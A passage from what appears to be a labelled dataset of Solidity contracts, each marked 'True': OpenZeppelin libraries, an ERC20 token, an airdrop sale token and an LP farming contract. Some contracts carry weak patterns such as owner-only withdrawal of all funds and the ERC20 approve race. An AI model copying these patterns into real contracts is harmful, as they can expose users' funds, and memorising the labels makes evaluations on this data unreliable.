This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _getChainId(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view virtual returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }

True

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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'VEGUMAMI' token contract // // Deployed to : 0xb819f61363DCF575E1cF91464D2Db720152Ee07A // Symbol : UMAMI // Name : VEGUMAMI // Total supply: 1000000000000000 // Decimals : 18 // // WWW.VEGUMAMI.COM // The year is 2079 Elon musk made a pact with the Aliens called Vegumami and through them // came to the advanced technologies of the universe. One of the Creatures the Vegumamis // and Elon created together is the Cyborg Doge called $Umami // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract VEGUMAMI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function VEGUMAMI() public { symbol = "UMAMI"; name = "VEGUMAMI"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[0xb819f61363DCF575E1cF91464D2Db720152Ee07A] = _totalSupply; Transfer(address(0), 0xb819f61363DCF575E1cF91464D2Db720152Ee07A, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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pragma solidity ^0.4.18; /** * @title SafeMath */ library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Bluechip is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "BLUECHIPS"; string public constant symbol = "BCHIP"; uint public constant decimals = 8; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 25000000e8; uint256 public constant minContribution = 5 ether / 5; // 5 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Bluechip () public { owner = msg.sender; uint256 devTokens = 4000000000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; distributionFinished = false; emit DistrFinished(); return false; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 5 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }

True

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pragma solidity >=0.7.5; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract DFSocial_FarmingTRI is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // Uniswap ETH/DFSocial LP token contract address address public constant LPtokenAddress = 0x731580e6456353E9508be3Ba28C9b64780efD179; //DFSocial token address address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7; uint public constant withdrawFeePercentX100 = 50; uint public constant disburseAmount = 50e18; uint public constant disburseDuration = 30 days; uint public disbursePercentX100 = 10000; uint public lastDisburseTime; constructor() { lastDisburseTime = block.timestamp; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = block.timestamp; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = block.timestamp; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function emergencyWithdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); lastClaimedTime[msg.sender] = block.timestamp; lastDivPoints[msg.sender] = totalDivPoints; uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(tokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = block.timestamp; 